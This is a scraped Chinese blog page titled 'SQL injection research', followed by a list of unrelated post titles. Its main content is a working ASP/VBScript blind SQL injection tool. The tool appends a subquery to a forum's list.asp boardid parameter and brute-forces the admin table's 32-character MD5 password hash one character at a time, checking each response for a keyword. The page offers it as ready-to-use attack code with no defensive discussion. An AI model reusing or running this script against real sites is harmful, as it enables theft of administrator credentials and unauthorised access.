SQL注入研究
来源:互联网 发布:tor 洋葱网络 浏览器 编辑:程序博客网 时间:2024/05/21 15:42
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function RegExpTest(patrn, strng)
Dim regEx, retVal ' 建立变量。
Set regEx = New RegExp ' 建立正则表达式。
regEx.Pattern = patrn ' 设置模式。
regEx.IgnoreCase = False ' 设置是否区分大小写。
RegExpTest = regEx.Test(strng) ' 执行搜索测试。
End Function
password=""
keyword="论坛首页"'返回正确页面会出现的字符串
url1="http://qq/bbs/list.asp?boardid=7"'SQL注入入口
passlen=32'MD5密码通常是32位
dim pass
pass=array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102)'密码值通常是0-9,a-f
server.ScriptTimeout=999
for i=1 to passlen
flag=false
url=url1&" and (select asc(mid(password,"&i&",1)) from admin where id>0)="'构造的SQL语句这里才是关键
for j=0 to ubound(pass)
str=getHTTPPage(url&pass(j))
flag=RegExpTest(keyword,str)
if flag=true then
password=password&chr(pass(j))
exit for
end if
next
next
response.Write(password)
- SQL注入研究
- SQL注入研究[转]
- SQL注入研究
- SQL注入研究
- SQL注入攻击研究
- mybatis的SQL注入研究
- 深入研究数据访问:什么是SQL注入
- 深入研究数据访问:什么是SQL注入
- 深入研究数据访问:什么是SQL注入
- 深入浅出MYSQL研究--SQL注入防范
- 对于防止SQL注入的研究(JAVA代码实现)
- discuz 7.2 faq.php sql注入的一点研究
- 关于Java防SQL注入的方法研究
- SQL注入--GET注入
- 注入攻击--SQL注入
- 【sql注入】mysql注入
- 托管注入深入研究
- Android防注入研究
- XMLHTTP实现数据的异步调用
- 语音传输资料收集
- 欧洲十大牛校集锦
- ASP中生成静态页面技术
- 今天开始写Blog,作为技术日记和生活大事记。
- SQL注入研究
- 关于JDBC
- 软件工程思想1- 软件工程基本观念
- 脚本大集合之一
- 教你怎么撬走别人的女友--官方教程
- 一个排列问题
- 读取参数文件
- asp.net函数
- 游民稗史-程序员的小说(1)